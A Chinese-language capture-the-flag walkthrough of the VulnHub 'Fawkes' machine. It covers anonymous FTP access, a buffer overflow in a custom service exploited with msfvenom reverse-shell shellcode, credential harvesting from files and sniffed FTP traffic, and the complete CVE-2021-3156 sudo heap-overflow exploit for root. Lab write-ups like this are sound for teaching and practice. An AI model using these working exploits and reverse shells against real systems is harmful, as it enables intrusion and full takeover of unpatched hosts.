目录
（4）msf-pattern_create生成500个不同字符串
地址：
https://download.vulnhub.com/harrypotter/Fawkes.ova目标：
拿到两个root，三个flag
一、主机发现
二、端口扫描
开放五个端口。
三、服务版本发现
21端口ftp服务，22端口是ssh，80端口http服务，系统和服务版本都很清楚，2222端口又开启了一个ssh，9898是一个未知服务。
四、信息收集
1.80端口
出来一张图片啥也没有。
2.扫描目录
好家伙啥也没有
3.回看服务信息
发现了21端口有anonymous匿名访问
4.ftp匿名访问
发现一个文件，get下来，并且查看其详细信息，发现是一个ELF的文件，类似于windous的PE（Protable executable）文件，可执行文件
5.尝试执行
发现没有反应
6.查看server进程和网络状态
ps -aux | grep server
ss -pantu | grep server
发现这个server_hogwarts这个进程正在运行中。并且运行的端口号和我们在扫描服务版本时同样是9898端口。
7.连接9898端口
输入魔法指令可以输出相应的文字，这种二进制可执行程序无法查看源码，所以只能对其进行动态调试。能够提交数据，可能存在缓冲区溢出漏洞。
五、edb-debugger调试进程
1.前提
我们是通过ftp服务下载到本地来调试，但是kali本机存在ALSR安全技术，地址空间随机化，会造成内存地址的随机化，导致我们无法确定缓冲区溢出的位置。所以要关闭。
将proc/sys/kernel中的randomize_va_space改为0即可。
2.调试
apt-get install edb-debugger
安装好右上角启动即可
（2）生成payload
python生成500个A
（3）注入payload
首先启动程序
之后edb-debugger中file里attach添加server就可。之后点击run，输入payload即可，我们可以看到这里EIP寄存器都被4141（A）覆盖ESP中也被覆盖，EIP中存储的是下一个指令的内存地址，而ESP寄存器中存储的是具体的指令。
（4）msf-pattern_create生成500个不同字符串
msf-pattern_create -l 500
（5）msf-pattern_offset找偏移量
msf-pattern_offset -l 500 -q 64413764
（6）验证EIP和ESP位置
python -c "print('A'*112+'BBBB'+'C'*100)"
生成一串验证字符串，进行调试，发现EIP寄存器是BBBB，ESP中是CCCCCC，所以去构造一个脚本来反弹shell，ESP寄存器中就是我们的反弹shell的十六进制代码
六、python脚本反弹shell
1.msfvenom
这里是用msfvenom来生成一串python的十六进制payload
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.43.27 LPORT=4444 -b "\x00" -f python
2.python脚本
#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xd9\xea\xd9\x74\x24\xf4\xbb\x3b\x8c\xca\x43\x5d\x29"
buf += b"\xc9\xb1\x12\x31\x5d\x17\x83\xc5\x04\x03\x66\x9f\x28"
buf += b"\xb6\xa9\x44\x5b\xda\x9a\x39\xf7\x77\x1e\x37\x16\x37"
buf += b"\x78\x8a\x59\xab\xdd\xa4\x65\x01\x5d\x8d\xe0\x60\x35"
buf += b"\xce\xbb\xb8\xde\xa6\xb9\xbe\xf1\x6a\x37\x5f\x41\xf4"
buf += b"\x17\xf1\xf2\x4a\x94\x78\x15\x61\x1b\x28\xbd\x14\x33"
buf += b"\xbe\x55\x81\x64\x6f\xc7\x38\xf2\x8c\x55\xe8\x8d\xb2"
buf += b"\xe9\x05\x43\xb4"
payload='A'*112+'\x55\x9d\04\x08'+'\x90'*32+buf
try:
s=socket.socket()
s.connect(('127.0.0.1',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()3.本地执行
开启服务，开启侦听端口，用./脚本名执行就行。当然这是我们在本地测试这个程序有缓冲区漏洞并且可以成功反弹shell，在python脚本中改一下ip地址，再次执行成功反弹shell
七、信息收集
1.查看隐藏文件
在/home/harry这个目录下，我们在查看隐藏文件时，发现了mycreds.txt
2.cat mycreds.txt
发现一串疑似密码的东西，尝试去用ssh登录
HarrYp0tter@Hogwarts123
3.ssh
经过多番尝试在2222端口开放的ssh服务，我们利用获得的信息成功登入
4.信息收集
在信息收集中我们发现这是一个docker容器，并不是我们真正的宿主机，要跳出docker容器，就要收集更多的信息。
（1）sudo配置问题
我们直接利用sudo配置问题提权为docker的root，拿到第一个root
（2） /root
在/root目录下，我们找到了第一个horcrux1.txt（flag）
（3）note.txt
并且拿到了一个提示信息，让我们去分析21ftp服务上的流量。
八、tcpdump流量分析
tcpdump -i eth0 port 21
首先进行了tcp三次握手，之后我们可以看到客户端向服务端发送了账号密码
neville bL!Bsg3k
1.ssh登录
经过查看我们发现这是宿主机
2.第二个flag
九、提权
常规的提权手段均不成功
1.信息收集
debian版本10
sudo版本
sudo 堆的缓冲区溢出漏洞，详细文章如下。
2.利用
利用代码：
（1）修改文件
由于路径是在/usr/local/bin/sudo,所以修改代码。
#!/usr/bin/python3
'''
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya
This exploit requires:
- glibc with tcache
- nscd service is not running
Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
'''
import os
import subprocess
import sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p
SUDO_PATH = b"/usr/local/bin/sudo"
libc = cdll.LoadLibrary("libc.so.6")
# don't use LC_ALL (6). it override other LC_
LC_CATS = [
b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",
b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",
b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]
def check_is_vuln():
# below commands has no log because it is invalid argument for both patched and unpatched version
# patched version, error because of '-s' argument
# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment
r, w = os.pipe()
pid = os.fork()
if not pid:
# child
os.dup2(w, 2)
execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])
exit(0)
# parent
os.close(w)
os.waitpid(pid, 0)
r = os.fdopen(r, 'r')
err = r.read()
r.close()
if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:
return True
assert err.startswith('usage: ') or "invalid mode flags " in err, err
return False
def create_libx(name):
so_path = 'libnss_'+name+'.so.2'
if os.path.isfile(so_path):
return # existed
so_dir = 'libnss_' + name.split('/')[0]
if not os.path.exists(so_dir):
os.makedirs(so_dir)
import zlib
import base64
libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
with open(so_path, 'wb') as f:
f.write(zlib.decompress(base64.b64decode(libx_b64)))
#os.chmod(so_path, 0o755)
def check_nscd_condition():
if not os.path.exists('/var/run/nscd/socket'):
return True # no socket. no service
# try connect
import socket
sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
sk.connect('/var/run/nscd/socket')
except:
return True
else:
sk.close()
with open('/etc/nscd.conf', 'r') as f:
for line in f:
line = line.strip()
if not line.startswith('enable-cache'):
continue # comment
service, enable = line.split()[1:]
# in fact, if only passwd is enabled, exploit with this method is still possible (need test)
# I think no one enable passwd but disable group
if service == 'passwd' and enable == 'yes':
return False
# group MUST be disabled to exploit sudo with nss_load_library() trick
if service == 'group' and enable == 'yes':
return False
return True
def get_libc_version():
output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)
for line in output.split('\n'):
if line.startswith('ldd '):
ver_txt = line.rsplit(' ', 1)[1]
return list(map(int, ver_txt.split('.')))
return None
def check_libc_version():
version = get_libc_version()
assert version, "Cannot detect libc version"
# this exploit only works which glibc tcache (added in 2.26)
return version[0] >= 2 and version[1] >= 26
def check_libc_tcache():
libc.malloc.argtypes = (c_int,)
libc.malloc.restype = c_void_p
libc.free.argtypes = (c_void_p,)
# small bin or tcache
size1, size2 = 0xd0, 0xc0
mems = [0]*32
# consume all size2 chunks
for i in range(len(mems)):
mems[i] = libc.malloc(size2)
mem1 = libc.malloc(size1)
libc.free(mem1)
mem2 = libc.malloc(size2)
libc.free(mem2)
for addr in mems:
libc.free(addr)
return mem1 != mem2
def get_service_user_idx():
'''Parse /etc/nsswitch.conf to find a group entry index
'''
idx = 0
found = False
with open('/etc/nsswitch.conf', 'r') as f:
for line in f:
if line.startswith('#'):
continue # comment
line = line.strip()
if not line:
continue # empty line
words = line.split()
if words[0] == 'group:':
found = True
break
for word in words[1:]:
if word[0] != '[':
idx += 1
assert found, '"group" database is not found. might be exploitable but no test'
return idx
def get_extra_chunk_count(target_chunk_size):
# service_user are allocated by calling getpwuid()
# so we don't care allocation of chunk size 0x40 after getpwuid()
# there are many string that size can be varied
# here is the most common
chunk_cnt = 0
# get_user_info() -> get_user_groups() ->
gids = os.getgroups()
malloc_size = len("groups=") + len(gids) * 11
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 # minimum size is 0x20. don't care here
if chunk_size == target_chunk_size: chunk_cnt += 1
# host=<hostname> (unlikely)
# get_user_info() -> sudo_gethostname()
import socket
malloc_size = len("host=") + len(socket.gethostname()) + 1
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
if chunk_size == target_chunk_size: chunk_cnt += 1
# simply parse "networks=" from "ip addr" command output
# another workaround is bruteforcing with number of 0x70
# policy_open() -> format_plugin_settings() ->
# a value is created from "parse_args() -> get_net_ifs()" with very large buffer
try:
import ipaddress
except:
return chunk_cnt
cnt = 0
malloc_size = 0
proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line.startswith('inet'):
continue
if cnt < 2: # skip first 2 address (lo interface)
cnt += 1
continue;
addr = line.split(' ', 2)[1]
mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)
malloc_size += addr.index('/') + 1 + len(mask)
cnt += 1
malloc_size += len("network_addrs=") + cnt - 3 + 1
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
if chunk_size == target_chunk_size: chunk_cnt += 1
proc.wait()
return chunk_cnt
def execve(filename, argv, envp):
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
libc.execve(filename, cargv, cenvp)
def lc_env(cat_id, chunk_len):
name = b"C.UTF-8@"
name = name.ljust(chunk_len - 0x18, b'Z')
return LC_CATS[cat_id]+b"="+name
assert check_is_vuln(), "target is patched"
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
assert check_libc_tcache(), "glibc tcache is not found"
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")
# Note: actions[5] can be any value. library and known MUST be NULL
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]
TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last '\\'. stop overwritten
CHUNK_CMND_SIZE = 0xf0
# Allow custom extra_chunk_cnt incase unexpected allocation
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])
# add free chunks that created before target service_user
for i in range(2, service_user_idx+2):
# skip LC_ALL (6)
env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:
env.append(lc_env(2, 0x20)) # for filling hole
for i in range(11, 11-extra_chunk_cnt, -1):
env.append(lc_env(i, CHUNK_CMND_SIZE))
env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
env.append(b"TZ=:") # shortcut tzset function
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
env.append(None)
execve(SUDO_PATH, argv, env)3.传送到目标服务器上
目标服务器
nc -nvlp 4444 > exp.py
kali
nc 192.168.43.232 4444 < exploit_nss.py -w 1
之后执行就可以了
4.成功提权
拿到了第二个root和第三个flag
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